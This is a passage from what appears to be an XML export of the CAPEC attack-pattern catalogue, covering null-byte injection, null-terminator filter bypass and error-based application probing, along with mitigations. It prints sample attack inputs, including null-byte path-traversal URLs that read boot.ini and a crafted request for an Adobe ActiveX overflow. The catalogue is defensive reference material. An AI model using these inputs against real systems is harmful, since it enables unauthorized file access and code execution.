				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>269<!--Registry Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Gunnar Peterson</Submitter>
						<Submission_Date>2007-02-28</Submission_Date>
						<Submission_Comment/>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in
							Name</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="52" Name="Embedding NULL Bytes" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker embeds one or more null bytes in input to the target software.
						This attack relies on the usage of a null-valued byte as a string terminator
						in many environments. The goal is for certain components of the target
						software to stop processing the input when it encounters the null
						byte(s).</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Identify a place in the program where user input
												may be used to escalate privileges by for instance
												accessing unauthorized file system resources through
												directory browsing.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>An attacker realizes that there is a postfix data
												that gets in the way of getting to the desired
												resources</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>An attacker then ads a postfix NULL terminator to
												the supplied input in order to "swallow" the
												postfixed data when the insertion is taking place.
												With the postfix data that got in the way of the
												attack gone, the doors are opened for accessing the
												desired resources.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The program does not properly handle postfix NULL terminators</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Directory Browsing</Text>
						<Text>Assume a Web application allows a user to access a set of reports. The
							path to the reports directory may be something like
							web/username/reports. If the username is supplied via a hidden field, an
							attacker could insert a bogus username such as ../../../../../WINDOWS.
							If the attacker needs to remove the trailing string /reports, then he
							can simply insert enough characters so the string is truncated.
							Alternatively the attacker might apply the postfix NULL character (%00)
							to determine whether this terminates the string.</Text>
						<Text>Different forms of NULL to think about include</Text>
						<Block>
							<Code>PATH%00</Code>
							<Code>PATH[0x00]</Code>
							<Code>PATH[alternate representation of NULL character]</Code>
							<Code>&lt;script&gt;&lt;/script&gt;%00</Code>
						</Block>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Exploitation of a buffer overflow vulnerability in the ActiveX
							component packaged with Adobe Systems Inc.'s Acrobat/Acrobat Reader
							allows remote attackers to execute arbitrary code.</Text>
						<Text>The problem specifically exists upon retrieving a link of the
							following form:</Text>
						<Block>
							<Code>GET /any_existing_dir/any_existing_pdf.pdf%00[long string]
								HTTP/1.1</Code>
						</Block>
						<Text>Where [long string] is a malicious crafted long string containing
							acceptable URI characters. The request must be made to a web server that
							truncates the request at the null byte (%00), otherwise an invalid file
							name is specified and a "file not found" page will be returned. Example
							web servers that truncate the requested URI include Microsoft IIS and
							Netscape Enterprise. Though the requested URI is truncated for the
							purposes of locating the file the long string is still passed to the
							Adobe ActiveX component responsible for rendering the page. This in turn
							triggers a buffer overflow within RTLHeapFree() allowing for an attacker
							to overwrite an arbitrary word in memory. The responsible instructions
							from RTLHeapFree() are shown here:</Text>
						<Block>
							<Code>0x77F83AE5 MOV EAX,[EDI+8]</Code>
							<Code>0x77F83AE8 MOV ECX,[EDI+C]</Code>
							<Code>...</Code>
							<Code>0x77F83AED MOV [ECX],EAX</Code>
						</Block>
						<Text>The register EDI contains a pointer to a user-supplied string. The
							attacker therefore has control over both the ECX and EAX registers used
							in the shown MOV instruction.</Text>
						<Text>Successful exploitation allows remote attackers to utilize the
							arbitrary word overwrite to redirect the flow of control and eventually
							take control of the affected system. Code execution will occur under the
							context of the user that instantiated the vulnerable version of Adobe
							Acrobat.</Text>
						<Text>An attacker does not need to establish a malicious web site as
							exploitation can occur by adding malicious content to the end of any
							embedded link and referencing any Microsoft IIS or Netscape Enterprise
							web server. Clicking on a direct malicious link is also not required as
							it may be embedded within an IMAGE tag, an IFRAME or an auto-loading
							script.</Text>
						<Text>Successful exploitation requires that a payload be written such that
							certain areas of the input are URI acceptable. This includes initial
							injected instructions as well as certain overwritten addresses. This
							increases the complexity of successful exploitation. While not trivial,
							exploitation is definitely plausible [iDefense].</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2004-0629</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Consider the following PHP script:</Text>
						<Block>
							<Code>$whatever = addslashes($_REQUEST['whatever']);</Code>
							<Code>include("/path/to/program/" . $whatever . "/header.htm");</Code>
						</Block>
						<Text>A malicious attacker might open the following URL, disclosing the
							boot.ini file:</Text>
						<Block>
							<Code>http://localhost/phpscript.php?whatever=../../../../boot.ini%00</Code>
						</Block>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Directory traversal</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Execution of arbitrary code</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Properly handle the NULL characters supplied as part of user input prior
						to doing anything with the data.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>158<!--Improper Neutralization of Null Byte or NUL Character--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>172<!--Encoding Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>173<!--Improper Handling of Alternate Encoding--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>171<!--Cleansing, Canonicalization, and Comparison Errors--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>707<!--Improper Enforcement of Message or Data Structure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>267<!--Leverage Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>361<!--WASC Threat Classification 2.0 - WASC-28 - Null Byte Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Title>Adobe Acrobat/Acrobat Reader ActiveX Control Buffer Overflow
						Vulnerability</Reference_Title>
					<Reference_Publication>iDefense Labs Public Advisory</Reference_Publication>
					<Reference_Publisher/>
					<Reference_Link>http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=126</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Bugtraq mailing list archive: PHP Input Validation
							Vulnerabilities</Text>
						<Text>Available at: http://msgs.securepoint.com/bugtraq/</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eugene Lebanidze</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-26</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name,
							Description and Context Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="53" Name="Postfix, Null Terminate, and Backslash"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>If a string is passed through a filter of some kind, then a terminal NULL
						may not be valid. Using alternate representation of NULL allows an attacker
						to embed the NULL midstring while postfixing the proper data so that the
						filter is avoided. One example is a filter that looks for a trailing slash
						character. If a string insertion is possible, but the slash must exist, an
						alternate encoding of NULL in midstring may be used. </Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>An attacker first probes to figure out what
												restrictions on input are placed by filter, such as
												a specific characters on the end of the URL.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker then injects a string of their
												choosing with a null terminator (using an alternate
												encoding such as %00), followed by a backslash
												(%5C), followed by some additional characters that
												are required to keep the filter happy</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The malicious string then passes through the
												filter and passed to the underlying API. Everything
												after the null terminator is ignored. This may give
												an attacker the opportunity to access file system
												resources to which they should not have access and
												do other things.</Text>
											<Text>Some popular forms in which this takes
												place:</Text>
											<Block>
												<Code>PATH%00%5C</Code>
												<Code>PATH[0x00][0x5C]</Code>
												<Code>PATH[alternate encoding of the
												NULL][additional characters required to pass
												filter]</Code>
											</Block>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Null terminators are not properly handled by the filter.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A rather simple injection is possible in a URL:</Text>
						<Block>
							<Code>http://getAccessHostname/sekbin/</Code>
							<Code>helpwin.gas.bat?mode=&amp;draw=x&amp;file=x&amp;module=&amp;locale=[insert
								relative path here]</Code>
							<Code>[%00][%5C]&amp;chapter=</Code>
						</Block>
						<Text>This attack has appeared with regularity in the wild. There are many
							variations of this kind of attack. Spending a short amount of time
							injecting against Web applications will usually result in a new exploit
							being discovered.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker needs to understand alternate encodings, what the filter
							looks for and the data format acceptable to the target API</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Test the program with various inputs and observe the behavior of the
							filter. Overtime it should be possible to understand what the filter is
							expecting.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Null characters are observed by the filter. The filter needs to be
							able to understand various encodings of the Null character, or only
							canonical data should be passed to it.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Properly handle Null characters. Make sure canonicalization is properly
						applied. Do not pass Null characters to the underlying APIs.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Assume all input is malicious. Create a white list that defines all valid
						input to the software system based on the requirements specifications. Input
						that does not match against the white list should not be permitted to enter
						into the system.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>158<!--Improper Neutralization of Null Byte or NUL Character--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>172<!--Encoding Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>173<!--Improper Handling of Alternate Encoding--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>171<!--Cleansing, Canonicalization, and Comparison Errors--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>707<!--Improper Enforcement of Message or Data Structure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>52<!--Embedding NULL Bytes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>267<!--Leverage Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eugene Lebanidze</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-26</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Related
							Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="54" Name="Probing an Application Through Targeting its Error Reporting"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An Attacker, aware of an application's location (and possibly authorized
						to use the application) can probe the application's structure and evaluate
						its robustness by probing its error conditions (not unlike one would during
						a 'fuzz' test, but more purposefully here) in order to support attacks such
						as blind SQL injection, or for the more general task of mapping the
						application to mount another subsequent attack.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Determine user-controllable parameters of the
												application</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Inject each parameter with content that causes an
												error condition to manifest</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Modify the content of each parameter aaccording to
												observed error conditions</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="4">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Repeat above steps with enough parameters until
												the application has been sufficiently mapped out to
												launch desired attack (for example, Blind SQL
												Injection)</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>This class of attacks does not strictly require authorized access to the
						application. As Attackers use this attack process to classify, map, and
						identify vulnerable aspects of an application, it simply requires hypotheses
						to be verified, interaction with the application, and time to conduct
						trial-and-error activities.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Blind SQL injection is an example of this technique, applied to
							successful exploit.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2006-4705</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Attacker sends bad data at various servlets in a J2EE system, records
							returned exception stack traces, and maps application
							functionality.</Text>
						<Text>In addition, this technique allows attackers to correlate those
							servlets used with the underlying open source packages (and potentially
							version numbers) that provide them.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Although fuzzing parameters is not difficult, and often possible with
							automated fuzzers, interpreting the error conditions and modifying the
							parameters so as to move further in the process of mapping the
							application requires detailed knowledge of target platform, the
							languages and packages used as well as software design.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The Attacker needs the ability to probe application functionality and provide
					it erroneous directives or data without triggering intrusion detection schemes
					or making enough of an impact on application logging that steps are taken
					against the attacker.</Text>
				<Text>The Attack does not need special hardware, software, skills, or access.</Text>
			</Resources_Required>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Repeated errors generated by the same piece of code are an indication,
							although it requires careful monitoring of the application and its
							associated error logs, if any.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>To defeat correlation, the attacker may try changing the origin IP
							addresses or client browser identification strings or start a new
							session from where he left off; any technique aimed at defeating the use
							of certain identification parameters for correlation goes a small way in
